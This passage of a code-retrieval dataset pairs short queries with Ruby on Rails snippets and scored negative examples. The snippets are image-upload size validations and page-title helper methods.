"0.6577498",
"0.6577498",
"0.65240026",
"0.6470203",
"0.64222276",
"0.6397408",
"0.6370884",
"0.63406754",
"0.62585676",
"0.6208922",
"0.60870147",
"0.6082978",
"0.607295",
"0.6068988",
"0.60612977",
"0.60459995",
"0.603984",
"0.6031601",
"0.59660745",
"0.5964804",
"0.59614784",
"0.5955048",
"0.59220624",
"0.591805",
"0.59115773",
"0.59036595",
"0.5871587",
"0.5858618",
"0.5855867",
"0.5846238",
"0.58435714",
"0.58153874",
"0.58014756",
"0.57903296",
"0.5789513",
"0.5765182",
"0.57580066",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5757309",
"0.5748173",
"0.5743963",
"0.5741922",
"0.57408",
"0.5740603",
"0.5739986",
"0.5737164",
"0.5703905",
"0.56851196",
"0.5683042",
"0.56806326",
"0.5662559",
"0.5656428",
"0.5644661",
"0.56430364",
"0.5616154",
"0.56108814",
"0.560536",
"0.55846494",
"0.5565214",
"0.5556781",
"0.5555894",
"0.55543834",
"0.555092",
"0.55486643",
"0.55310106",
"0.5527986",
"0.55198896",
"0.5510601",
"0.5507665",
"0.54973483",
"0.54969347",
"0.54819745",
"0.547689",
"0.54753447",
"0.547329",
"0.5460358",
"0.5458303",
"0.54497975",
"0.5439107",
"0.5436014",
"0.54359275",
"0.54332364",
"0.54301727",
"0.54297096",
"0.54254067",
"0.5418545"
] | 0.5644909 | 66 |
controls the size of the image Validates the size of an uploaded picture. | def picture_size
if picture.size > 5.megabytes
errors.add(:picture, "should be less than 5MB")
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def picture_size\n #errors.add(:image, 'should be less than 1MB') if image.size > 1.megabytes\n end",
"def picture_size\n errors.add :picture, t(\"upload_image_fail_msg\") if\n picture.size > Settings.limit_size_image.megabytes\n end",
"def picture_size\n errors.add(:picture, \"Settings.review.picture_size\") if\n picture.size > Settings.review.picture.megabytes\n end",
"def picture_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes # or self.picture.size\n errors.add(\"File size cannot be bigger than 5MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if(picture.size > Settings.picture.default.megabytes)\n errors.add(:picture, Settings.picture.errors)\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def image_size\n if picture.size > 1.megabytes\n errors.add(:picture, \"should be less than 1MB\")\n end\n if background.size > 2.megabytes\n errors.add(:background, \"should be less than 2MB\")\n end\n end",
"def image_size\n if picture.size > 1.megabytes\n errors.add(:picture, \"should be less than 1MB\")\n end\n if background.size > 2.megabytes\n errors.add(:background, \"should be less than 2MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:picture, \"l'immagine non deve superare 5MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, 'Should be less than 5MB')\n end\n end",
"def picture_size\n errors.add(:picture, \"should be less than 5MB\") if picture.size > 5.megabytes\n end",
"def picture_size\n errors.add(:picture, 'should be less than 10MB') if picture.size > 10.megabytes\n end",
"def picture_size\n \t\tif picture.size > 5.megabytes\n \terrors.add(:picture, \"should be less than 5MB\")\n \t\tend\n \tend",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"Image file size should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 2.megabytes\n errors.add(:picture, \"should be less than 2MB\")\n end\n end",
"def picture_size\n if picture.size > 15.megabytes\n errors.add(:picture, \"should be less than 15MB\")\n end\n end",
"def picture_size\n \tif picture.size > 5.megabytes\n \t\terrors.add(:picture, \"should be less than 5MB\")\n \tend\n \tend",
"def picture_size\n errors.add(:picture, 'should be less than 5 MB') unless picture.size < 5.megabytes\n end",
"def picture_size\r\n if picture.size > 5.megabytes\r\n errors.add(:picture, \"should be less than 5MB\")\r\n end\r\n end",
"def picture_size\n if picture.size > 8.megabytes\n errors.add(:picture, \"should be less than 8MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, 'should be less than 5MB')\n end\n end",
"def image_size\n\t\tif image.size > 500.kilobytes\n\t\t\terrors.add(:image, \"should be less than 500kB\")\n\t\tend\n\tend",
"def image_size\n if image.size > 5.megabytes\n errors.add(:image, \"should be less than 1MB\")\n end\n end",
"def image_size\n if image.size > 2.megabytes\n errors.add(:image, \"Cover size after resize process should be less than 2MB\")\n end\n end",
"def picture_size\n\tif picture.size > 5.megabytes\n\terrors.add(:picture, \"should be less than 5MB\")\n\tend\n\tend",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\") #this never shows up\n end\n end",
"def picture_size\n\tif picture.size > 5.megabytes\n\terrors.add(:picture, \"should be less than 5MB\")\n\tend\nend",
"def picture_size\n \tif picture != nil\n \t\tif picture.size > 20.megabytes\n \t\terrors.add(:picture, \"I like HD, 4K stuff too but sheesh, photo's should be less than 20MB\")\n \t\tend\n \t\tend\n end",
"def picture_size\n if picture.size > 2.megabytes\n errors.add(:picture, \"should be less than 2MB\")\n end\n end",
"def picture_size\n \t\tif picture.size > 5.megabytes\n \t\t\terrors.add(:picture, \"should be less than 5MB\")\n \t\tend\n \tend",
"def picture_size\n \t\tif picture.size > 5.megabytes\n \t\t\terrors.add(:picture, \"should be less than 5MB\")\n \t\tend\n \tend",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n \tif picture.size > 5.megabytes\n \t\terrors.add(:picture, \"should be less than 5MB\")\n \tend\n end",
"def picture_size\n\t\tif picture.size > 5.megabytes\n\t\t\terrors.add(:picture, \"should be less than 5MB\")\n\t\tend\n\tend",
"def image_size\n return unless image.size > Settings.app.user.image_size_mb.megabytes\n errors.add(:image, I18n.t(\"users.action.maximum_size_err\"))\n end",
"def picture_size\n if attached_file.size > 200.kilobytes\n errors.add(:attached_file, 'should be less than 200 KB')\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 20.megabytes\n errors.add(:picture, \"I like HD, 4K stuff too but sheesh, photo's should be less than 20MB\")\n end\n end",
"def picture_size\n if picture.size > 15.megabytes\n errors.add(:picture, \"should be less than 15MB\")\n end\n end",
"def image_size\n if prescription.size > 5.megabytes\n errors.add(:prescription, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if image.size > 5.megabytes\n errors.add(:image, \"Dung lượng file vượt quá 5MB\")\n end\n end",
"def picture_size\n if picture.size > 10.megabytes\n errors.add(:picture, \"should be less than 5MB\")\n end\n end",
"def picture_size\n if picture.size > 3500.kilobytes\n errors.add(:picture, \"should be less than 3.5MB\")\n end\n \n end",
"def picture_size\n if picture.size > 10.megabytes\n errors.add(:picture, \"should be less than 10MB\")\n end\n end",
"def picture_size\n if picture.size > 5.megabytes\n errors.add(:picture, \"should be less than 5Mb\")\n end\n end",
"def picture_size\n if picture.size > Settings.image.upload_micropost_size .megabytes\n errors.add :picture,\n I18n.t(\"micropost.flash.danger_image_upload_too_large_size\",\n size: Settings.image.upload_micropost_size)\n end\n end",
"def picture_size\n return if picture.size <= 5.megabytes\n errors.add(:picture, t(\"model.micropost.picture_size.error\"))\n end"
] | [
"0.79197097",
"0.7900917",
"0.78383046",
"0.7812938",
"0.7755706",
"0.7739449",
"0.77181834",
"0.77181834",
"0.77119845",
"0.7708025",
"0.77009445",
"0.77009445",
"0.76894385",
"0.768411",
"0.7678451",
"0.7676299",
"0.76750463",
"0.76608485",
"0.7636857",
"0.763275",
"0.7627902",
"0.76139283",
"0.76037395",
"0.76022595",
"0.7601303",
"0.7601303",
"0.7601303",
"0.7601303",
"0.76009786",
"0.75992846",
"0.7593807",
"0.7588415",
"0.7579236",
"0.7576688",
"0.7576647",
"0.75735027",
"0.7566405",
"0.756284",
"0.756284",
"0.754743",
"0.7542818",
"0.75292593",
"0.7521005",
"0.7518252",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.7513165",
"0.75131446",
"0.75107604",
"0.75073725",
"0.750583",
"0.7493709",
"0.74872315",
"0.74833256",
"0.74815184",
"0.7471957",
"0.74611986",
"0.74262476"
] | 0.7591638 | 39 |
Generates a generic page title. Prepend +title+ with "gbchaosmaster" and a pipe for separation. If +title+ is blank, simply return "gbchaosmaster". page_title "Test Page" => "gbchaosmaster | Test Page" page_title nil => "gbchaosmaster" | def page_title(title)
"gbchaosmaster#{" | #{title}" unless title.blank?}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def gen_title(page_title)\n puts @me.valid_user?\n if [email protected]_user?\n site_title=\"Delta Kappa Epsilon - Sigma Tau\"\n else\n site_title=\"DKE Server\"\n end\n if (page_title!=\"\")\n return \"#{site_title} | #{page_title}\" \n else\n return site_title\n end\n end",
"def manageable_page_title(title = nil)\n @title = title unless title.nil?\n @title || \"Untitled Page\"\n end",
"def title(title = nil)\n raise TypeError, \"expecting a String or an Array\" unless [String,Array].include?(title.class) || title.nil?\n separator = \" ~ \"\n @page_title = title if title\n if @page_title\n title = @page_title.to_a.flatten\n [@page_title, site_name].flatten.reverse.join(separator)\n else\n site_name\n end\n end",
"def base_title(page_title = '')\n base_title = \"Sergio Mironescu\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title(page_title = '')\n\t\tbase_title = \"AB Online Shop\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tpage_title + \" | \" + base_title\n\t\tend\n\tend",
"def page_title title= nil\n\t\tif title\n\t\t\tcontent_for(:page_title) { \"#{title} - 2da.re\" }\n\t\t\treturn title\n\t\telse\n\t\t\tcontent_for?(:page_title) ? content_for(:page_title) : \"Ready 2da.re?\"\n\t\tend\n\tend",
"def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end",
"def page_title(page_title = nil)\n @page_title ||= page_title\n @page_title.nil? ? \"Carers: #{action_name}\" : \"#{@page_title} @ Lort Smith\"\n end",
"def title\n base_title = \"Golo\"\n [email protected]?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title_or_default(page_title = '') # turn nil into empty\n if page_title.empty?\n title = DEFAULT_TITLE\n else\n title = page_title\n end\n \n return \"#{title} | #{TITLE_SUFFIX}\"\n end",
"def page_title\n @page_title ||= format_string(page[\"title\"]) || site_title\n end",
"def page_title\n title = content_for?(:title) ? \" - #{content_for(:title)}\" : \"\"\n \"Todobadour#{title}\"\n end",
"def title_help \n\n\t\t#Define general page title\n\t\tbase_title = \"Rex Ruby on Rails Learning | PagesHelper\"\n\t\tif(@title.nil?)\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title = \"Rex Ruby on Rails Learning | #{@title} | PagesHelper\"\n\t\tend\n\tend",
"def page_title(title = nil)\n if title\n content_for(:page_title) { title }\n else\n content_for?(:page_title) ? content_for(:page_title) : APP_CONFIG[:site_name] # or a hard-coded default\n end\n end",
"def full_title(page_title)\n page_title.blank? ? \"My Defi Pie\" : \"My Defi Pie | #{page_title}\"\n end",
"def full_title(page_title)\r\n\tbase_title = \"whichizrite\"\r\n\tif page_title.empty?\r\n\t\tbase_title\r\n\telse\r\n\t\t\"#{base_title} | #{page_title}\"\r\n\tend\r\nend",
"def full_title(page_title = '')\n base_title = \"WriteIt\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def page_title(title)\n content_for_wrapper(:page_title, title)\n end",
"def title\n base_title = \"My Site\"\n unless @title.nil?\n \"#{base_title} | #{@title}\"\n else\n base_title\n end\n\n end",
"def full_title(page_title)\n base_title = 'Sample CMS'\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title\n if @title.nil?\n BASE_TITLE\n else\n \"#{BASE_TITLE} | #{@title}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end",
"def title\n base_title = \"CloudSpokes Coding Challenges\"\n if @page_title.nil?\n base_title\n else\n \"#{base_title} - #{@page_title}\"\n end\n end",
"def full_title(page_title)\n base_title = \"BH Herbarium\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def page_title\n title = @page_title ? \"/ #{@page_title}\" : ''\n content_tag(:title, 'GONDI.tv ' + title)\n end",
"def title(page_title = nil)\n if page_title\n content_for(:title) do\n page_title\n end\n else\n content_for(:title) do\n \"DateIdeas.ca\"\n end\n end\n end",
"def full_title (page_title)\n\tbase_title = \"Recipository\"\n\n\nif page_title.empty?\n\t\tbase_title\n\telse\n\t\t\"#{base_title}\" | #{page_title}\"\n\tend\nend\nend",
"def full_title(page_title)\n\t\tpage_title = PAGE_TITLE \n \tbase_title = BASE_TITLE\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def full_title(page_title = '') # Method def, optional arg\n base_title = \"TalkingPapers\" # Variable assignment\n if page_title.empty? # Boolean test\n base_title # Implicit return\n else\n page_title + \" | \" + base_title # String concatenation\n end\n end",
"def full_title(page_title = '')\n base_title = \"Colegio de Notarios\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def full_title(page_title)\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def full_title(page_title)\n \t\tif page_title.empty?\n \t\t\tsite_name\n \t\telse\n \t\t\t\"#{page_title} | #{site_name}\"\n \t\tend\n \tend",
"def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend",
"def title\n base_title = \"H&H\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def page_title(value = nil, default: true, **opt)\n @page_title = nil if opt.present?\n @page_title = page_value(value, **opt) if value\n @page_title ||= page_value(:title, **opt, default: default)\n end",
"def page_title(page_title)\n unless page_title.blank?\n content_for :page_title do\n content_tag(:h1, page_title, :id => 'page_title')\n end\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n #{page_title} | #{site_name}\n end\n end",
"def title\n base_title = \"Operation Paws for Homes\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def page_title\n if controller_name == 'pages'\n title = t \"#{action_name}_page\"\n \"#{app_name} | #{title}\" # e.g.: 'Ror4 | Home'\n else\n if @page_title.nil?\n \"#{app_name} | #{t controller_name}-#{t action_name}\" # e.g.: 'Ror4 | groups-index'\n else\n \"#{app_name} | #{t @page_title}\" # e.g.: 'Ror4 | Show group Manager'\n end\n end\n end",
"def title\n base_title = \"An Andy Sharkey Production\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def full_title(page_title)\n base_title = \"Secret Sauce\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n\t\tbase_title = \"Myreef.tv\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def get_title\n base_title = get_name_or_logo\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def full_title(page_title) # Method definition\n base_title = \"Express yourself\"\t\t\t \t\t\t # Variable assignment\n if page_title.empty? # Boolean test\n base_title # Implicit return\n else\n \"#{base_title} | #{page_title}\" # String interpolation\n end\n end",
"def full_title(page_title)\n base_title = \"Proman 2014\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | Alfalfa\"\n end\n end",
"def full_title(page_title = '')\n base_title = 'My Money'\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def full_title(page_title)\n base_title = \"Proman 2013\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title = '')\n base_title = \"RaptorQueue\"\n page_title.empty? ? base_title : page_title + \" | \" + base_title\n end",
"def page_title(options = {})\n return \"\" if @page.title.blank?\n\n options = {\n prefix: \"\",\n suffix: \"\",\n separator: \"\"\n }.update(options)\n title_parts = [options[:prefix]]\n title_parts << if response.status == 200\n @page.title\n else\n response.status\n end\n title_parts << options[:suffix]\n title_parts.reject(&:blank?).join(options[:separator]).html_safe\n end",
"def full_title(page_title)\n if page_title.empty?\n @@base_title\n else\n \"#{@@base_title} | #{page_title}\"\n end\n end",
"def page_title \n %(<title>#{page_title_raw}My Blog</title>) # Customize this for your blog\n end",
"def page_title(page)\n return site_title if page.title.nil? || page.title.empty?\n\n title = t(\"titles.#{page.title}\",\n flavor: settings.site_name.capitalize,\n default: [\"docs.#{page.parent}.#{page.title}\".to_sym,\n page.title.to_s.titleize])\n\n if page.parent.nil?\n parent_title = site_title\n else\n parent_title = t(\"titles.#{page.parent}\",\n flavor: settings.site_name.capitalize,\n default: site_title)\n end\n\n \"#{title} | #{parent_title}\"\n end",
"def full_title(page_title = '')\n base_title = \"NKUNet\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end",
"def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end",
"def page_title\n title = \"Amplify\"\n title.prepend(\"#{@page_title} | \") if @page_title\n title\n end",
"def full_title(page_title)\n base_title = 'Vietnam Beauty Spots'\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n if page_title.empty?\n app_name\n else\n \"#{page_title} | #{app_name}\"\n end\n end",
"def page_title\n @page_title || TaliaCore::SITE_NAME\n end",
"def full_title(page_title)\n base_title = \"Anand Sampat\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n\t\tbase_title = \"Scheduler\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\".html_safe\n\t\tend\n\tend",
"def full_title(page_title)\n base_title = \"Ruby on Rails Tutorial Sample App\"\n if page_title.empty?\n \tbase_title\n else\n \t\"#{base_title} | #{page_title}\"\n end\nend",
"def full_title(page_title)\n\t\tbase_title = CONFIG[:title] || \"Ruby on Rails Template\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def full_title(page_title)\n\t\tbase_title = CONFIG[:title] || \"Ruby on Rails Template\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def title\n base_title = \"Let Me Sing Now, llc\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def full_title(page_title)\n title = base_title\n\n Array(page_title).each do |var|\n title << (' | ' + var) unless var.empty? \n end\n\n title\n end",
"def full_title(page_title = \"\")\n \tbase_title = \"Facebook Clone\"\n \tif page_title.empty?\n \t\tbase_title\n \telse\n \t\tpage_title + \" | \" + base_title\n \tend\n end",
"def page_title\n return \"#{this_webapp.webapp_name} - #{@page_title}\" if @page_title\n return \"#{this_webapp.webapp_name}\"\n end",
"def title(page_title)\n content_for :title do\n page_title\n end\n end",
"def full_title(page_title = '')\n base_title = app_name\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end",
"def title(page_title)\n base_title = \"Blog Secret Santa\" \n content_for(:title) { \"#{page_title} | #{base_title}\" }\n content_for(:heading) { page_title }\n end",
"def page_title(title=nil)\n # DEPRECATED: setting title\n if title\n page_title!(title)\n else\n @_page_title\n end\n end",
"def full_title(page_title)\n\t\tbase_title = \"dreamly\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend",
"def title_tag_content(page_title: '')\n base_title = COMPETITIONS_CONFIG[:application_name]\n page_title.empty? ? base_title : \"#{page_title} | #{base_title}\"\n end",
"def render_page_title\n (sanitize(content_for(:page_title), tags: []) if content_for?(:page_title)) || sanitize(@page_title, tags: []) || application_name\n end",
"def title\n base_title = \"Temple Baptist Church, White House, TN\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def full_title(page_title)\n base_title = \"StoryStore\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title)\n base_title = \"ARealtor\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def title\n base_title = \"This app is a Toast Machine\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end",
"def page_title(text = nil, &block)\n content_for :page_title do\n if block_given?\n capture(&block)\n else\n text\n end\n end\n end",
"def page_title_raw\n \t@page_title ? \"#{@page_title}#{page_no} | \" : ''\n end",
"def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end",
"def full_title(page_title)\n base_title = \"Rails Project\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def full_title(page_title = '')\n base_title = \"Hearth Helper\"\n if page_title.empty?\n base_title\n else\n page_title + \" - \" + base_title\n end\n end",
"def title(page_title)\n\t content_for(:title) { page_title }\n\tend",
"def full_title(page_title)\n base_title = \"WDIS\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end",
"def page_title(page_title, klass=nil)\n unless page_title.blank?\n content_for :page_title do\n content_tag(:h1, page_title, :id => 'page_title', :class => klass)\n end\n end\n end",
"def full_title(page_title = '')\n base_title = \"Spookd.me\"\n if page_title.empty?\n base_title\n else \n page_title\n end\n end",
"def title(page_title)\n content_for :page_title, page_title.to_s.html_safe\n end",
"def title\n\t\tbase_title = title_extend\n\t\tif @title.nil?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{@title}\"\n\t\tend\n\tend",
"def title(page_title)\n \tcontent_for(:title) { page_title }\n \tend",
"def full_title(page_title)\n base_title = \"WebSchool\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} - #{base_title}\"\n end\n end",
"def render_page_title\n @page_title ? \"#{@page_title}_#{SiteName}\" : SiteName rescue \"SITE_NAME\"\n end"
] | [
"0.7925586",
"0.7809342",
"0.7803258",
"0.77756536",
"0.77394265",
"0.7739256",
"0.77079844",
"0.7650251",
"0.76311827",
"0.7623579",
"0.7589368",
"0.75782526",
"0.75709385",
"0.75579494",
"0.75576574",
"0.7548219",
"0.75446904",
"0.7524823",
"0.75178903",
"0.7514656",
"0.7514564",
"0.7500988",
"0.7500988",
"0.7500988",
"0.7500988",
"0.7500988",
"0.7500988",
"0.7500988",
"0.7495893",
"0.7485328",
"0.746666",
"0.7466303",
"0.74627215",
"0.745779",
"0.7449505",
"0.74392706",
"0.7438188",
"0.7431619",
"0.7425917",
"0.74232495",
"0.7421832",
"0.7420446",
"0.7413902",
"0.7413171",
"0.74090946",
"0.74075866",
"0.7399613",
"0.7394799",
"0.7392485",
"0.7382129",
"0.73801535",
"0.7380039",
"0.73790413",
"0.7375831",
"0.7375572",
"0.73712105",
"0.73704284",
"0.73679096",
"0.7367486",
"0.73658985",
"0.7362596",
"0.7362281",
"0.7359403",
"0.73572165",
"0.7355438",
"0.73550034",
"0.73427755",
"0.73408604",
